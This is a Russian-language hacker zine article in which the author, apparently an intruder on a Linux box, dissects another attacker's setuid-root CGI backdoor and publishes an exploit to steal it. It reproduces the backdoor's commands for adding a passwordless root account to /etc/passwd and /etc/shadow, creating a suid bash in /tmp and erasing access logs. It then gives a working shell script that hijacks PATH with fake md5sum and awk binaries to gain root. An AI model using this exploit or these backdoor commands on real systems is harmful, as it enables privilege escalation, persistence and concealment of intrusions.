<d4rkgr3y> potomu chto to, chto vkusno lejit tut: m00.ru/m00/code
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==
666 666 666 666 666 666 666 666 666
TAKEOVER: gayhat'z r00tshell
666 666 666 666 666 666 666 666 666
Небольшая дока о том, как у чела увели рутшелл )) Как-то попал я в linux-box с
nobody'z_uid. Ядро было неуязвимо к ptrace/kmod.Ну чтож, запустил поиск вареза с
setuid. Всё короче стандартно... Хотя нет, тут лежат два файла: sh.zk.cgi и swc
в дире /var/www/cgi-bin. Смотрю - с виду вроде простые cgi на сях. Тока с какого
на них поставили setuid root? Может какой-нить отмороз оставил себе типа бекдор
в систему? ))
Посмотрел HexWorkshop'ом sh.zk.cgi и выудил оттуда такие строки :
/usr/bin/md5sum
/* проверяем, есть ли этот файл */
md5sum --string=%s | awk -F ' ' '{ print $1 }' > /tmp/.hash /tmp/.hash
/* это похоже вызов system(), судя по виду */
rm -f /tmp/.hash fa8c 6df4 fe38 867b 6537 f407 4c15 b115 %s%s%s%s%s%s%s%s 3682
f1d0 f48e 9d23 a436 9f2d 0ff8 6e7c /etc/sys/config/hash.zk
/* хз че это за хэш. */
/var/log/httpd/access_log cat %s | grep -v %s > %s CONTENT_LENGTH
ADDRESS= Invalid command /ps
Due to suExec in apache, any ps command must be done with httpd id and gid %c
/usr/bin/w %s: command not found
/* ну это понятно. если установлен suexec, то ps выполняется с правами апача */
GET REQUEST_METHOD Content-type: text/html
<TITLE>CGI Test Page</TITLE>
<ISINDEX PROMPT=" Type some text in here: ">
Content-type: text/plain You typed "%s" 2.1
<TITLE>[zk](%s) CGI Shell</TITLE> SCRIPT_NAME
<FORM ACTION=%s METHOD=POST>
<SELECT NAME=STRCMD>
<OPTION>Execute command:
<OPTION>Clean httpd log
<OPTION>Add root Account
<OPTION>Add Suid Shell
<OPTION>Shutdown Machine
<OPTION>Reboot Machine
<OPTION>Erase BackDoor
</SELECT>
/* скромно но со вкусом )). 2,4,5,6 пункты - откровенное палево, хотя неизвестно
как он чистит access_log. */
Command: <INPUT TYPE=TEXT NAME=ADDRESS>
<INPUT TYPE=submit VALUE="Run">
<BR> <PRE>
uname -a uptime
<BR>
</PRE>
Error: This CGI must be SUID root!
/* вот это палево конкретное - самая примитивная ids это первым делом ищет suid
binaries */
STRCMD= & Clean+httpd+log CGI SeRVer: HTTPD Access log cleand.
<PRE>
tail /var/log/httpd/access_log
CGI SeRVer: Failed to clean HTTPD Access log. !!!
Add+Suid+Shell /bin/bash /bin/cp /bin/chmod %s %s /tmp ; %s 4755 /tmp/bash
/* в tmp создает суид шелл */
CGI SeRVer: Suid shell in tmp dir failed!
CGI SeRVer: Suid shell in tmp dir worked!
Shutdown+Machine /sbin/shutdown %s -h now
CGI SeRVer: The system is
going down for system halt NOW !!!
/* выключаем комп */
Reboot+Machine /sbin/reboot %s
CGI SeRVer: The system is going down for reboot NOW !!!
/* перегружаем */
Erase+BackDoor /bin/rm %s -rf %s
CGI SeRVer: Error in delete..!
CGI SeRVer: Backdoor removed!!
/* удаляем бэкдор */
Add+root+Account
echo 'admin::0:0::/root:/bin/bash' >> /etc/passwd;
echo 'admin:$1$LPHJ/aZP$cxKZhvapxOiFQNDTqol8c.:11900:0:99999:7:-1:-1:134539252' >> /etc/shadow;
/* добавляем рута в систему */
if
CGI SeRVer: New Root Account failed!
else
CGI SeRVer: New root account created as user: admin!!
Execute+command%3A
CGI SeRVer: A command must be specified!
Короче, у нас тут тупой бекдор кто-то заинсталил и думает что он очень крут ))
Надо бы обломать чувака... так, у нас есть вызов system(). Это уже гуд. Что там
вызывается?
"md5sum --string=%s | awk -F ' ' '{ print $1 }' > /tmp/.hash /tmp/.hash"
Самое интересное, что не указаны конкретные пути к md5sum и awk. Отлично, вот и
бага )) Мы заносим в переменную окружения PATH /tmp: export PATH=/tmp. Далее, мы
создём в /tmp файл скажем md5sum с нужным нам кодом и запускаем sh.zk.cgi.Первым
идёт вызов system(). Когда прога будет искать md5sum, она возьмёт список дир из
переменной окружения PATH. А так как там /tmp,то она найдёт и выполнит в ней наш
md5sum с нашим кодом.
А вот и сплоит:
#!/bin/sh
if [ -z "$1" ]
then
echo Usage: $0 path_to_zkshell
exit
fi
echo SH.ZK.CGI fuckin got-root exploit
cat << _eof_ > /tmp/md5sum
#!/bin/bash
/bin/cp /bin/bash /tmp/g0tr00t
/bin/chmod 4755 /tmp/g0tr00t
_eof_
echo [+] create executable awk in /tmp
chmod 755 /tmp/md5sum
cat << _eof_ > /tmp/awk
#!/bin/bash
/bin/echo itz works!
_eof_
chmod 755 /tmp/awk
echo [+] set env \$PATH to /tmp
export OLDPATH=$PATH
export PATH=/tmp
echo [+] running lame sh.zk.cgi
$1
export PATH=$OLDPATH
echo [+] wait 3 seconds...
sleep 3
echo [+] letz got root now!
/tmp/g0tr00t
#_eof_
Так что не стоит юзать system() ) А то мы придём и ваш мега-рутшелл натянем ))